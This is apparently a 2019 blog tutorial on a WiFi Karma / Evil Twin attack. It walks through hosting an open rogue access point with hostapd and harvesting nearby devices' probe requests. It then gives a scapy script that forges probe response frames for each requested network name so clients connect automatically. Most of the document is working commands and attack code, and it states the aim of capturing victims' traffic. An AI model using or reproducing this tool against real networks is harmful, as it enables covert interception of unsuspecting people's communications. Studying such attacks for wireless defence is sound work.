WiFi Karma: A Brief Guide on Probe Response Frames

by hash3liZer . 25 March 2019

WiFi Karma: A Brief Guide on Probe Response Frames

A more sophisticated attack to setup in Evil Twin Karma is forcing the nearby devices to connect to our Access Point. And really with the increase in the awareness of such attacks, various vendors are trying to somehow mitigate them. This guide is a proof of concept that how a probe response frame can be forged to make the client think that the Rogue AP is the Real AP, the client was looking for.

In a perfect WiFi karma attack, the attacker on Rogue AP side tries to capture all the traffic travelling between the user and the destination to which the traffic is intended. However, the part where the nearby devices are made think of Rogue AP as Real AP is quite a sophisticated process when it comes to make it work in a real world scenario.

Some devices like WiFi Pineapple comes pre-installed with such scripts that dispatches forged probe response frames automatically. So, basically we have to explore the structure of a probe response frame and how does it work. And then we will get to know how we can forge our own frames.


Let's start by hosting our own access point first. Update your repo and install hostapd:

$ apt update
$ apt install hostapd

And create a new configuration file for your Rogue Access Point. For the Karma attack, i will keep the network open. Remember that a probe response frame should contain the same capabilities as specified in Probe Request frame. And if a network is encrypted, it means you must know the saved password from your client as well.

$ nano hostapd.conf
ssid=Fake AP
channel=[Fake AP Channel]

Save the file and start your Access Point:

$ hostapad hostapd.conf


Up until, we created a simple Access Point. And what it does is dispatch beacon frames to let other devices know in the area that there is an AP with the name Fake AP. It will only send probe response frames with it's own ESSID, specified in the packet. Let's setup our working network now.


Now, we have to capture a Probe Response Frame first to analyze it's structure and then dispatch it again by modifying some parts of it. Open wireshark and start sniffing from another wireless adapter (wlan2mon). Setup this filter in the filter bar:

$ wlan.fc.subtype eq 5

This would filter Probe Response frames from the captured frames. Wait until you get a probe response frame with ESSID "Fake AP". But the question is why we are capturing the probe response frame of our own Access Point? When a probe request frame is sent, it contains all the information of the required Access Point.

wireshark filter

Sometimes, it is also sent to broadcast address and in return every access point in the nearby area return a probe response frame. So, basically what are we doing here is capture an example of a real probe response and then modify it fields as per our requirement and then resend it every other devices that will send a probe request frame.

But we can only attack open networks. Anyways if you know the password of a Wireless Network, you can setup the attack by launching the AP with the actual network password. It would be as if you are an authentic provider.

pbresponse frame

On the right side, you can see we have probe response frames of the "Fake AP" AP. Now, save the file for later use because we are going to extract data from it. Leave the wireshark open because we are going to use it for later purpose. Also, note the packet number on the foremost left coloumn. It's going to make our task really easy.

packet number


In this step, we will capture probe request frames and will note the ESSID of requested networks. If you are just collecting the ESSID of nearby networks, you can use probequest. Install Probequest:

$ pip install probequest

However, to make it really effective we have to hope through channels and airodump would do it perfectly. However, note that you must do it from a seperate wireless adapter than the one you are using for Access Point. Start airodump in a seperate window:

$ airodump-ng wlan2mon 

And then start probequest:

$ probequest -i wlan2mon

This would give you the list of requested networks extracted from the probe request frames. Keep a record of them in a file because we are going to use them for later purpose as well. 



Now, here comes the actual task of all of this. This may look a bit obfuscated to you at first. But i will take you to every single step of what and why i did what i did. We are going to use scapy to acheive the rest of our task. Install scapy first:

$ pip install scapy

Now, open your favorite editor and start writing some awesome code stuff:

from scapy.all import *
interface = "wlan2mon"

def pkt_handler( pkt ):
if pkt.haslayer( Dot11ProbeReq ):
### Here we will send the probe response frame to our clients.

sniff( iface=interface, prn=pkt_handler )

Above all, we first imported all of the modules available under scapy and after that as per named function sniff we are sniffing traffic passing through the wlan2mon interface and each of the packet that is being received is being sent to the function pkt_handler. In the function pkt_handler, we verify whether the packet is Probe request frame or not.


Now, let's open a terminal and analyze the packet we captured from wireshark. Type in your terminal:

$ scapy

And use the rdpcap function from scapy to read a packet file.

$ packets = rdpcap( "/path/to/wiresharkcapture" )

Now, i told you to note the identification number of probe response packet. For example if the number of the packet is 712, then get the 711th packet from the variable packets we justed created in the scapy terminal:

$ packets[ 711 ]   # This would return us the probe response packet

packet probe response


Come back to the editor now and craft a new probe response packet, by copying the required values from the scapy terminal. In scapy, packets are basically created by stacking layers in a sequence as shown in the above screenshot. For example, to create 802.11 packet, we can stack these layers in a sequence:

$ dot11packet = RadioTap() / Dot11()

And there are fields in every layer. You can fill them up like this:

$ dot11packet = RadioTap() / Dot11( addr1="ff:ff:ff:ff:ff:ff" ) # This is the address for receiving device

Now, by looking at the screenshot, start crafting your own packet. Create a function for this that would accept three arguments: essid, bssid of our rogue access point and channel and returns a new packet:

from scapy.all import *
interface = "wlan2mon"

def craft_packet( essid, channel, bssid ):
# Remember the addr2 field down in the packet, must the mac address of the access point
pkt = RadioTap() / Dot11( addr1=bssid, addr2="AE:23:FA:D1:34:10", addr3="AE:23:FA:D1:34:10", type=0, subtype=5 ) / \
Dot11ProbeResp( cap=8452 ) / Dot11Elt( ID=0, len=len( essid ), info=essid ) / \
Dot11EltRates( ID=1, len=8, rates=[130, 132, 139, 150, 12, 18, 24, 36] ) / \
Dot11Elt( ID=3, len=len( str(channel) ), info=chr( channel ) ) / Dot11Elt( ID=50, len=4, info="0H`l" ) / \
Dot11Elt( ID=42, len=1, info="\x00" )
return pkt

def pkt_handler( pkt ):
if pkt.haslayer( Dot11ProbeReq ):
bssid = pkt.getlayer( Dot11 ).addr2 # MAC Address of Sending Device
pbresponse = craft_packet( "New Fake AP", 6, bssid )
sendp( pbresponse, iface=interface, count=1 )

sniff( iface=interface, prn=pkt_handler )

So, the above script, what it does is whenever a new probe request packet is received, it will send a probe response packet to the sender, making him realize that i am the AP "New Fake AP" operting on channel 6. So, it means if you extract the essid and channel of requested Access Point from the probe request frames, you can now send your own probe response frames.


However the problem is we have to really dive deep in order to extract both of essid and channel. I'll keep that for another tutorial. Here, we will use our list we accumulated from probequest tool to send multiple probe response frames. Just read the file, seperate the lines and craft a new packet for every essid:

import time, sys
from scapy.all import *
interface = "wlan2mon"

def craft_packet( essid, channel, bssid ):
# Remember the addr2 field down in the packet, must the mac address of the access point
pkt = ...
return pkt

def pkt_handler( pkt ):
if pkt.haslayer( Dot11ProbeReq ):
bssid = pkt.getlayer( Dot11 ).addr2 # MAC Address of Sending Device
readfile = open( sys.argv[ 1 ], "r" )
for essid in readfile.read().splitlines():
pbresponse = craft_packet( essid, 6, bssid )
sendp( pbresponse, iface=interface, count=1, verbose=False )
print "[~] Sent PBResponse: %s (%s)" % ( bssid, essid )
time.sleep( 1 )

sniff( iface=interface, prn=pkt_handler )

Above in the script, now we have included something new. Now, we are accessing a list of essids from a file and sending probe response from that list. Now, finally come to execution part. Now, i suppose you already have your Fake Access Point Up and running, execute the script:

$ python probehandler.py /path/to/list.txt

probe response script

Finally, open the wireshark and start sniffing once again and check whether the probe response frames are being sent or not. Here you see:

wireshark verification


We can do a perfect karma by make the nearby clients realize that our access point is the access point they are looking for and the ones who they have already connected to. If we are able to fool them enough to think that i am the real access point, then they will automatically connect to our rogue access point.